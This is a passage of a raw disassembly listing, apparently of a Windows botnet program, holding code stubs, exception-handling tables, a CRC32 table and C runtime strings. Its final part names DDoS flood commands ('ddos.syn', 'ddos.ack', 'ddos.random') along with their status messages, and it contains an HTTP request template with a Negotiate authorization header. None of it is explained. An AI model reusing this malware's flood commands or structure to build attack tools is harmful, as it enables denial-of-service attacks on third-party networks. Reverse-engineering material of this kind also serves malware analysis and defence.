		lea	ecx, [ebp-38h]
		jmp	loc_40445C
sub_4230C8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4230E6
		mov	ecx, [ebp+8]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

locret_4230E6:				; CODE XREF: ___:004230D8j
		retn
; ---------------------------------------------------------------------------

loc_4230E7:				; DATA XREF: sub_404032o
		mov	eax, offset dword_424EE8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_4230FC:				; DATA XREF: ___:00424F44o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_423104:				; DATA XREF: sub_4041D4o
		mov	eax, offset dword_424F18
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 10h

loc_423110:				; DATA XREF: sub_40473Fo
		mov	eax, offset dword_424F48
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423122:				; DATA XREF: sub_4227EEo
		mov	eax, offset dword_424FA8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_423134:				; DATA XREF: sub_422863o
		mov	eax, offset dword_425040
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423146:				; DATA XREF: sub_4228C0o
		mov	eax, offset dword_425064
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423158:				; DATA XREF: sub_422908o
		mov	eax, offset dword_425088
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_42316A:				; DATA XREF: sub_42298Ao
		mov	eax, offset dword_4250E8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		dd 3A3h	dup(0)
		dd 25B0000h, 25B01D8h, 25C0000h, 25C068Bh, 25D0000h, 25D0B03h
		dd 25D0B70h, 25E0000h, 25E004Fh, 25E05F7h, 25F0000h, 25F07C7h
		dd 2600000h, 2600790h, 2600964h
dword_42403C	dd 2600996h		; DATA XREF: ___:0041F496r
		dd 26009E1h, 2600C30h, 2600C87h, 2610000h, 26101D3h, 26101F3h
dword_424058	dd 2610602h		; DATA XREF: sub_40144A+1A6r
					; sub_401D82+3Dr ...
		dd 26106C7h, 2610A2Ah
dword_424064	dd 2610E42h		; DATA XREF: sub_40797F+D1r
					; sub_40D3A5+29r
		dd 2620000h, 2620514h
dword_424070	dd 2630000h		; DATA XREF: sub_40DC82+Fr
					; sub_4199B9+54r ...
dword_424074	dd 2640000h		; DATA XREF: sub_4168E9+Br
dword_424078	dd 2640811h		; DATA XREF: ___:00404E30r
					; sub_40AB7C+67r ...
		dd 2650000h, 2660000h
dword_424084	dd 2660802h		; DATA XREF: sub_40AB7C+36r
		dd 2660AA6h
dword_42408C	dd 2660AEBh		; DATA XREF: sub_4168E9:loc_41697Ar
		dd 2660B6Fh, 2670000h, 2680000h, 2690000h
dword_4240A0	dd 2690AC4h		; DATA XREF: sub_4165C6+32r
		dd 26A0000h, 26A02F2h, 26A03C6h, 26B0000h, 26B069Ch, 26C0000h
dword_4240BC	dd 26D0000h		; DATA XREF: sub_408EE5+26r
		dd 26E0000h, 77F7E300h,	77F7E21Fh, 26E09CAh, 26F0000h
		dd 26F0723h
dword_4240D8	dd 2700000h		; DATA XREF: sub_409037+BCr
dword_4240DC	dd 27005E1h		; DATA XREF: sub_409037+60r
					; sub_40981F+11r ...
dword_4240E0	dd 2710000h		; DATA XREF: sub_40981F:loc_409D0Fr
		dd 2710439h
dword_4240E8	dd 2720000h		; DATA XREF: sub_409209+21r
					; sub_409392+4Ar
dword_4240EC	dd 2720A0Ch		; DATA XREF: sub_409209+10r
					; sub_409392+40r ...
		dd 2720A3Dh
dword_4240F4	dd 2720CFEh		; DATA XREF: sub_409392+56r
		dd 2730000h, 2730591h
dword_424100	dd 2730B6Ah		; DATA XREF: sub_40981F+2r
		dd 2740000h, 2750000h, 2750542h, 2750A94h, 2760000h, 276064Ah
		dd 2770000h, 2770603h, 2780000h, 2790000h, 2790101h, 2790B64h
		dd 27A0000h, 27A039Dh
dword_42413C	dd 27A0951h		; DATA XREF: sub_40B56C+79r
					; sub_416810+3Ar
dword_424140	dd 27B0000h		; DATA XREF: sub_40B56C+3Br
					; sub_416717+23r
		dd 27B1553h, 27C0000h, 77E75CB5h
dword_424150	dd 27D0000h		; DATA XREF: sub_40DBB0+13r
					; ___:0041F50Br ...
		dd 27E0000h, 27E0C9Bh, 27E0D61h
dword_424160	dd 27F0000h		; DATA XREF: ___:loc_40E864r
		dd 27F035Eh
dword_424168	dd 27F0875h		; DATA XREF: sub_4165C6:loc_4166B2r
		dd 27F0992h, 27F0AC7h, 27F0BDBh, 2800000h, 28005E4h, 2800840h
		dd 280092Eh, 2810000h, 2820000h, 2830000h, 2840000h, 2850000h
		dd 2851A1Eh, 2851A4Ch, 2860000h, 2860DFBh, 2870000h
dword_4241B0	dd 28706C3h		; DATA XREF: sub_41ADB4+240r
dword_4241B4	dd 2870843h		; DATA XREF: sub_41B888:loc_41B8B9r
		dd 2870A02h, 2880000h, 288053Dh, 2890000h, 28A0000h, 28A146Fh
		dd 28A1BD9h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh
		dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h
dword_424204	dd 71AB5690h		; DATA XREF: sub_404F9A+6Ar
dword_424208	dd 71AB1AF4h		; DATA XREF: sub_4053D5+E4r
		db 90h
		db 18h,	0ABh, 71h
		dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh
		dd 71AB1746h, 2	dup(0)
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_424270	dq 1.388888888888889e-2	; DATA XREF: sub_403FE6+2Fr
dbl_424278	dq 1.666666666666667e-1	; DATA XREF: sub_403FE6+15r
dword_424280	dd 0FFFFFFFFh		; DATA XREF: sub_404032+16Fr
					; sub_404464r ...
		align 8
dbl_424288	dq 1.333333333333333	; DATA XREF: sub_404032+79r
dword_424290	dd 0			; DATA XREF: sub_4041D4+4Do
					; sub_404514+5Bo ...
flt_424294	dd 5.0e-1		; DATA XREF: ___:00404CE7r
dword_424298	dd 0			; DATA XREF: sub_40C21E+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_424698	dq 9.765625e-4		; DATA XREF: sub_40CAF1+2BDr
					; sub_40CAF1+2D8r ...
dbl_4246A0	dq -3.0517578125e-5	; DATA XREF: sub_415450+1Er
dbl_4246A8	dq 1.0			; DATA XREF: sub_417CA4+6Cr
					; sub_417DEB+6Cr ...
		dd 0FFFFFFFFh, 419CBBh,	419CCFh
byte_4246BC	db 6			; DATA XREF: sub_419E38:loc_419E8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_433C6Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_433C68o
		align 10h
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_435EBCo
		align 8
dbl_424818	dq 0.0			; DATA XREF: sub_41C2F3+8Cr
					; sub_41C2F3+ACr ...
dbl_424820	dq 4.195835e6		; DATA XREF: sub_41C808+Fr
dbl_424828	dq 3.145727e6		; DATA XREF: sub_41C808+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41C846o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_41C96D+93o
		align 10h
dword_424860	dd 0FFFFFFFFh, 41D058h,	41D062h, 0 ; DATA XREF:	sub_41CFF1+5o
dword_424870	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D120+5o
		dd offset loc_41D1DE
		align 10h
		dd offset sub_41D1BC
		dd offset sub_41D1C6
dword_424888	dd 0FFFFFFFFh, 41D40Eh,	41D412h, 0 ; DATA XREF:	sub_41D256+5o
dword_424898	dd 0FFFFFFFFh, 41D470h,	41D479h, 0 ; DATA XREF:	sub_41D41A+5o
dword_4248A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D4FC+5o
		dd offset loc_41D54D
		align 8
		dd offset loc_41D539
		dd offset loc_41D53D
dword_4248C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D552+5o
		dd offset loc_41D5A3
		align 10h
		dd offset loc_41D58F
		dd offset loc_41D593
dword_4248D8	dd 2 dup(0)		; DATA XREF: sub_41E709+36o
					; sub_41FB63+39o ...
dword_4248E0	dd 0FFFFFFFFh, 41E819h,	41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h
					; DATA XREF: sub_41E709+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_4362FCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o
		align 4
asc_424BA8	db 0Ah			; DATA XREF: sub_41F885+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41F885+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do
		align 8
dword_424BE8	dd 0FFFFFFFFh, 41FC5Ch,	41FC60h	; DATA XREF: sub_41FB63+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42094E+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42105F+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42105F+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4219A9:loc_421A9Eo
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4219A9+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4219A9+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4219A9+ADo
		align 4
dword_424C88	dd 0FFFFFFFFh, 4223A1h,	4223A5h, 0FFFFFFFFh, 422410h, 422414h
					; DATA XREF: sub_4221EA+5o
		dd 424DC4h
off_424CA4	dd offset loc_4227D2	; DATA XREF: sub_4227AA+8o
					; sub_4227EE+2Co ...
		dd offset sub_4227C5
		dd offset sub_4229E6
		dd offset dword_424E10
off_424CB4	dd offset sub_42283C	; DATA XREF: sub_4227EE+3Ao
					; sub_422858o ...
		dd offset sub_4227C5
		dd offset loc_422A22
dword_424CC0	dd 0			; DATA XREF: sub_4227EE+16o
					; sub_4228C0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_422863+11o
		dd offset dword_424E5C
off_424CE0	dd offset sub_42294B	; DATA XREF: sub_422967o
					; sub_42298A+37o ...
		dd offset sub_4227C5
		dd offset loc_422A04
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42298A+11o
		dd offset dword_424EA0
off_424D00	dd offset loc_422AE7	; DATA XREF: sub_422AD2o
					; ___:off_436A1Co ...
		dd offset dword_424ED0
off_424D08	dd offset loc_422B03	; DATA XREF: sub_422B1F+8o
					; sub_422B5C+8o ...
		dd offset sub_422BBC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o
		align 8
dword_424D28	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_422BC9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_424D48	dd 0FFFFFFFFh, 422D7Ah,	422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh
					; DATA XREF: sub_422C78+5o
dword_424D60	dd 0FFFFFFFFh, 422FEFh,	422FF3h, 0FFFFFFFFh, 42304Ch, 423050h
					; DATA XREF: sub_422F03+5o
		dd 436A1Ch, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_424D90	dd offset off_436A34	; DATA XREF: ___:00424DA8o
					; ___:00424DF4o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DB0	dd 3 dup(0)		; DATA XREF: ___:00424DD4o
		dd 2, 424DA8h, 3 dup(0)
		dd offset off_436A34
		dd offset dword_424DB0+4
off_424DD8	dd offset off_436A54	; DATA XREF: ___:00424DF0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424DD8
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DFC	dd 3 dup(0)		; DATA XREF: ___:00424E20o
		dd 3, 424DF0h
dword_424E10	dd 3 dup(0)		; DATA XREF: ___:00424CB0o
		dd offset off_436A54
		dd offset dword_424DFC+4
off_424E24	dd offset off_436A74	; DATA XREF: ___:00424E3Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424E24
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424E48	dd 3 dup(0)		; DATA XREF: ___:00424E6Co
		dd 3, 424E3Ch
dword_424E5C	dd 3 dup(0)		; DATA XREF: ___:00424CDCo
		dd offset off_436A74
		dd offset dword_424E48+4
off_424E70	dd offset off_436A98	; DATA XREF: ___:00424E88o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424E70
dword_424E8C	dd 3 dup(0)		; DATA XREF: ___:00424EB0o
		dd 1, 424E88h
dword_424EA0	dd 3 dup(0)		; DATA XREF: ___:00424CFCo
		dd offset off_436A98
		dd offset dword_424E8C+4
		dd offset dword_424D60+18h
dword_424EB8	dd 4 dup(0)		; DATA XREF: ___:00424EE0o
		dd 1, 424EB4h
dword_424ED0	dd 3 dup(0)		; DATA XREF: ___:00424D04o
		dd offset off_436A1C
		dd offset dword_424EB8+8
		align 8
dword_424EE8	dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF:	___:loc_4230E7o
		dd 0FFFFFFFFh, 4230D0h,	0
		dd offset sub_4230C8
dword_424F18	dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF:	___:loc_423104o
		dd 0FFFFFFFFh, 4230F4h,	0
		dd offset loc_4230FC
dword_424F48	dd 19930520h, 2, 424F68h, 1, 424F78h, 3	dup(0) ; DATA XREF: ___:loc_423110o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 424F90h, 4	dup(0)
		dd offset loc_40477E
		dd 0FFFFFFFFh, 42311Ah
dword_424FA8	dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF:	___:loc_423122o
		dd offset off_436A1C
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	422B5Ch, 0
		dd offset off_436A34
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422908h, 0
		dd offset off_436A54
		align 8
		dd 0FFFFFFFFh, 0
dword_425010	dd 1Ch,	422972h, 3, 424FFCh, 424FE0h, 424FC4h ;	DATA XREF: ___:00425034o
dword_425028	dd 0			; DATA XREF: sub_422863+2Eo
					; sub_4229E6+4Bo
		dd offset sub_422858
		dd 0
		dd offset dword_425010+8
		dd 0FFFFFFFFh, 42312Ch
dword_425040	dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF:	___:loc_423134o
		dd 0FFFFFFFFh, 42313Eh
dword_425064	dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF:	___:loc_423146o
		dd 0FFFFFFFFh, 423150h
dword_425088	dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF:	___:loc_423158o
		dd offset off_436A74
		align 10h
		dd 0FFFFFFFFh, 0
dword_4250B8	dd 1Ch,	4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ;	DATA XREF: ___:004250DCo
dword_4250D0	dd 0			; DATA XREF: sub_42298A+2Eo
					; sub_4229E6+2Do
		dd offset sub_422967
		dd 0
		dd offset dword_4250B8+8
		dd 0FFFFFFFFh, 423162h
dword_4250E8	dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF:	___:loc_42316Ao
dword_425104	dd 2, 424FE0h, 424FC4h	; DATA XREF: ___:0042511Co
dword_425110	dd 0			; DATA XREF: sub_4229E6+Fo
		dd offset sub_4227AA
		dd 0
		dd offset dword_425104
		dd 5 dup(78150BB0h), 5 dup(13D3551Ch), 5 dup(7E50A2AFh)
		dd 7Ah dup(0)
		dd 7E50A2AFh, 0
		dd 78150BB0h, 12h dup(0)
		dd 13D3551Ch, 319h dup(0)
dword_426000	dd 0			; DATA XREF: ___:00419AD7o
		dd offset sub_4030CC
		dd offset sub_40482C
		dd offset sub_40484E
dword_426010	dd 0			; DATA XREF: ___:00419AD2o
dword_426014	dd 0			; DATA XREF: ___:00419AC8o
		dd offset sub_418682
		dd offset sub_41ECF1
		dd offset sub_41FA42
		dd offset dword_4208B4
dword_426028	dd 0			; DATA XREF: ___:loc_419AC3o
dword_42602C	dd 0			; DATA XREF: sub_419B07+65o
		dd offset sub_41FAE7
dword_426034	dd 0			; DATA XREF: sub_419B07:loc_419B67o
dword_426038	dd 0			; DATA XREF: sub_419B07+76o
		dd offset dword_4208B4+11h
dword_426040	dd 4 dup(0)		; DATA XREF: sub_419B07:loc_419B78o
unk_426050	db    2			; DATA XREF: sub_401000+5Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_426088	db    2			; DATA XREF: sub_4010B5+302o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B5:loc_4011E1o
					; sub_40EE72+268Fo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B5:loc_4011C5o
					; sub_40EE72+2678o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B5+F1o
					; sub_40EE72+2661o
		align 4
unk_4260DC	db    2			; DATA XREF: sub_40144A+397o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_42613C	db    2			; DATA XREF: sub_40144A+307o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_42619C	db    2			; DATA XREF: sub_40144A+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
unk_4261CC	db    2			; DATA XREF: sub_40144A+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_426214	db    2			; DATA XREF: sub_40144A:loc_401493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
